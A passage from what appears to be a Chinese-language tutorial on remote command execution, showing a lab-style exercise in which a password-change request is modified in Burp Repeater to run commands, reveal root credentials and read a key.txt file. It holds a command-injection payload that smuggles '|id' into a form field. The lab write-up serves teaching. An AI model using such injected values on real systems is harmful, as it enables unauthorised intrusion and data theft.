&#xff1a;user&#061;rootxx&amp;pam&#061;&amp;expired&#061;2&amp;old&#061;test|id&amp;new1&#061;test2&amp;new2&#061;test2<\/p>\n<h5>2.&#xff09;\u5b9e\u65bd<\/h5>\n<p>\u91cd\u65b0\u6293\u5305&#xff0c;\u53d1\u9001\u5230 Repeater<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002524-697feef454b12.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u6539\u5305<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002524-697feef46c97b.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002524-697feef47a94c.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u70b9\u51fb\u53d1\u9001\u770b\u7ed3\u679c<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002524-697feef4896b8.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u83b7\u53d6\u4e86\u7528\u6237\u540d\u548c\u5bc6\u7801\u3002\u90fd\u662froot\u3002<\/p>\n<p>\u7136\u540e\u7ee7\u7eed\u66f4\u6539\u5305<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2026\/02\/20260202002524-697feef4c92d6.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u53d1\u9001\u540e\u83b7\u5f97\u6839\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6&#xff0c;\u5176\u4e2d\u5c31\u6709\u5173\u952e\u7684key.txt<\/p>\n<p><img decoding=\"async\" src=\"2026-02-02f5fa1jrk2yr.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u7ee7\u7eed\u4fee\u6539\u5305,\u4fee\u6539\u540e\u53d1\u5305<\/p>\n<p><img decoding=\"async\" src=\"2026-02-02j5aowkzn5zv.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<p>\u83b7\u5f97 KEY<\/p>\n<p><img decoding=\"async\" src=\"2026-02-021wboaolylwv.png\" alt=\"\u5728\u8fd9\u91cc\u63d2\u5165\u56fe\u7247\u63cf\u8ff0\" \/><\/p>\n<h3>\u4e03\u3001\u6587\u7ae0\u603b\u7ed3\u548c\u5fc3\u5f97<\/h3>\n<h4>1\u3001\u672c\u6587\u603b\u7ed3<\/h4>\n<p>\u200b \u672c\u6587\u56f4\u7ed5RCE&#xff08;\u8fdc\u7a0b\u4ee3\u7801\/\u547d\u4ee4\u6267\u884c&#xff09;\u6f0f\u6d1e\u5c55\u5f00&#xff0c;\u7cfb\u7edf\u9610\u8ff0\u4e86\u5176\u6982\u5ff5\u3001\u539f\u7406\u3001\u5229\u7528\u65b9\u5f0f\u3001\u9632\u5fa1\u63aa\u65bd\u53ca\u5b9e\u9645\u6848\u4f8b\u3002<\/p>\n<h5>1. &#xff09;\u6f0f\u6d1e\u57fa\u7840<\/h5>\n<p>\u200b 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